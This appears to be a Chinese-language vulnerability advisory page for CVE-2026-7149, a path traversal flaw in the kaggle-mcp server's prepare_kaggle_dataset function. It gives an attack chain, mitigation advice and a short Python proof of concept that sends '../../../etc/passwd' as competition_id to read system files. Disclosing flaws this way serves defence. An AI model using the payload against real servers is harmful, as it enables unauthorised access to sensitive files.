IPBUF安全漏洞报告
English
CVE-2026-7149 CVSS 7.3 高危

CVE-2026-7149 路径遍历漏洞

披露日期: 2026-04-27

漏洞信息

漏洞编号
CVE-2026-7149
漏洞类型
路径遍历
CVSS评分
7.3 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
dexhunter kaggle-mcp

相关标签

路径遍历Path Traversaldexhunter kaggle-mcpCVE-2026-7149RCE

漏洞概述

dexhunter开发的kaggle-mcp项目中存在一处严重的路径遍历漏洞(CVE-2026-7149)。该漏洞源于`src/kaggle_mcp/server.py`文件中`prepare_kaggle_dataset`函数未对用户输入的`competition_id`参数进行充分的安全校验。攻击者可利用此漏洞,通过发送特制的网络请求绕过目录限制,从而远程读取服务器上的敏感文件。鉴于该产品采用滚动发布策略且目前未获修复,潜在风险较高。

技术细节

该漏洞的根本原因在于Python代码处理文件路径时未能正确净化外部输入。在`prepare_kaggle_dataset`函数中,程序直接使用用户提供的`competition_id`参数拼接文件路径,以访问Kaggle数据集。攻击者可以通过在参数中插入“../”序列(即路径遍历序列),向上遍历目录树,跳出预期的数据目录。由于CVSS向量显示无需权限(PR:N)且无用户交互(UI:N),攻击者可远程发送恶意HTTP请求触发漏洞。成功利用后,攻击者可能读取包含敏感信息的配置文件、源代码或其他系统文件,导致机密性泄露(C:L)。此外,如果配合其他漏洞,还可能进一步影响系统完整性(I:L)和可用性(A:L)。

攻击链分析

STEP 1
侦察阶段
攻击者识别出目标运行的是dexhunter kaggle-mcp服务,并确认其API接口暴露了prepare_kaggle_dataset功能。
STEP 2
漏洞利用
攻击者构造包含路径遍历字符(如../)的恶意competition_id参数,发送POST请求至目标服务器。
STEP 3
数据窃取
服务器未过滤输入,直接拼接路径,导致攻击者成功读取预期目录之外的文件(如/etc/passwd),造成信息泄露。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Example) target_url = "http://target-host:port/api/prepare_kaggle_dataset" # Malicious payload using path traversal # Attempting to read /etc/passwd payload = { "competition_id": "../../../etc/passwd" } try: response = requests.post(target_url, json=payload) if response.status_code == 200: print("[+] Exploit successful! Response content:") print(response.text) else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[!] An error occurred: {e}")

影响范围

dexhunter kaggle-mcp <= commit 406127ffcb2b91b8c10e20e6c2ca787fbc1dc92d

防御指南

临时缓解措施
建议立即在应用网关或WAF处部署规则,拦截包含路径遍历特征的恶意请求。同时,检查服务器日志确认是否已被入侵,并限制服务进程的文件系统读写权限,防止敏感文件泄露。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表